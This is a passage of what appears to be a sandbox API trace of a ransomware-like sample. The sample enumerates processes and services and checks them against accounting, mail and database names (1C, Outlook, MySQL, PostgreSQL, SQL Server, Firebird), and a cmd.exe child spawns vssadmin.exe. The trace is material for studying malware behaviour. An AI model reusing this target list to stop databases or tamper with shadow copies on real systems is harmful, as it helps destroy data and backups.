lstrlenW (lpString="System") returned 6 [0034.767] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0034.767] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0034.767] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0034.767] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0034.767] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0034.767] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0034.767] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0034.767] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0034.768] lstrlenW (lpString="smss.exe") returned 8 [0034.768] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0034.768] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0034.768] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0034.768] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0034.768] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0034.768] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0034.768] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0034.768] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.768] lstrlenW (lpString="csrss.exe") returned 9 [0034.768] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.768] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.769] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.769] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.769] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0034.769] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0034.769] lstrlenW (lpString="wininit.exe") returned 11 [0034.769] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0034.769] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0034.769] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0034.769] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0034.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0034.769] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0034.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0034.769] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.770] lstrlenW (lpString="csrss.exe") returned 9 [0034.770] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.770] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.770] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.770] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.770] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.770] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.770] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0034.771] lstrlenW (lpString="winlogon.exe") returned 12 [0034.771] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0034.791] lstrlenW (lpString="services.exe") returned 12 [0034.791] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0034.791] lstrlenW (lpString="lsass.exe") returned 9 [0034.791] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0034.792] lstrlenW (lpString="lsm.exe") returned 7 [0034.792] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.792] lstrlenW (lpString="svchost.exe") returned 11 [0034.792] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.793] lstrlenW (lpString="svchost.exe") returned 11 [0034.793] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.794] lstrlenW (lpString="svchost.exe") returned 11 [0034.794] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.794] lstrlenW (lpString="svchost.exe") returned 11 [0034.794] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.795] lstrlenW (lpString="svchost.exe") returned 11 [0034.795] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0034.795] lstrlenW (lpString="audiodg.exe") returned 11 [0034.795] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.796] lstrlenW (lpString="svchost.exe") returned 11 [0034.796] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.796] lstrlenW (lpString="svchost.exe") returned 11 [0034.796] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0034.797] lstrlenW (lpString="dwm.exe") returned 7 [0034.797] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0034.797] lstrlenW (lpString="explorer.exe") returned 12 [0034.797] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0034.798] lstrlenW (lpString="spoolsv.exe") returned 11 [0034.798] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.798] lstrlenW (lpString="taskhost.exe") returned 12 [0034.798] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.799] lstrlenW (lpString="svchost.exe") returned 11 [0034.799] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0034.799] lstrlenW (lpString="taskeng.exe") returned 11 [0034.799] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.800] lstrlenW (lpString="taskhost.exe") returned 12 [0034.800] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0034.800] lstrlenW (lpString="dear.exe") returned 8 [0034.800] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0034.801] lstrlenW (lpString="b costa.exe") returned 11 [0034.801] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0034.801] lstrlenW (lpString="rc lock.exe") returned 11 [0034.801] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0034.802] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0034.802] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0035.314] lstrlenW (lpString="hugown.exe") returned 10 [0035.314] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0035.315] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0035.315] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0035.315] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0035.316] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0035.316] lstrlenW (lpString="locked welsh.exe") returned 16 [0035.316] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0035.316] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0035.317] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0035.317] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0035.317] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0035.317] lstrlenW (lpString="planners.exe") returned 12 [0035.318] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0035.318] lstrlenW (lpString="agreements.exe") returned 14 [0035.318] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0035.318] lstrlenW (lpString="tray.exe") returned 8 [0035.319] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0035.319] lstrlenW (lpString="wp std.exe") returned 10 [0035.319] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0035.320] lstrlenW (lpString="lesser.exe") returned 10 [0035.320] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0035.320] lstrlenW (lpString="right-tissue.exe") returned 16 [0035.320] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0035.321] lstrlenW (lpString="bunch.exe") returned 9 [0035.321] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0035.321] lstrlenW (lpString="jam.exe") returned 7 [0035.321] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0035.322] lstrlenW (lpString="chooseincidence.exe") returned 19 [0035.322] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0035.322] lstrlenW (lpString="numericalrear.exe") returned 17 [0035.322] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0035.323] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0035.323] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0035.323] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0035.323] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0035.324] lstrlenW (lpString="come_wave.exe") returned 13 [0035.324] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0035.324] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0035.324] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.325] lstrlenW (lpString="dllhost.exe") returned 11 [0035.325] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.325] lstrlenW (lpString="dllhost.exe") returned 11 [0035.325] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0035.326] lstrlenW (lpString="uyuquk.exe") returned 10 [0035.326] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0035.326] lstrlenW (lpString="cmd.exe") returned 7 [0035.326] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0035.327] lstrlenW (lpString="conhost.exe") returned 11 [0035.327] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0035.327] lstrlenW (lpString="vssadmin.exe") returned 12 [0035.327] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0035.328] CloseHandle (hObject=0x164) returned 1 [0035.328] Sleep (dwMilliseconds=0x1f4) [0036.076] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566a20 [0036.077] EnumServicesStatusExW (in: hSCManager=0x566a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0036.077] GetLastError () returned 0xea [0036.077] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x5644a8 [0036.077] EnumServicesStatusExW (in: hSCManager=0x566a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5644a8, cbBufSize=0x123e, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5644a8, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0036.078] CloseServiceHandle (hSCObject=0x566a20) returned 1 [0036.078] lstrlenW (lpString="Appinfo") returned 7 [0036.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.078] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.078] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.078] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.078] lstrlenW (lpString="AudioSrv") returned 8 [0036.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.079] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.079] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.079] lstrlenW (lpString="BFE") returned 3 [0036.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.079] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.079] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.079] lstrlenW (lpString="CryptSvc") returned 8 [0036.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.079] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.079] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.079] lstrlenW (lpString="CscService") returned 10 [0036.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.079] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.079] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.079] lstrlenW 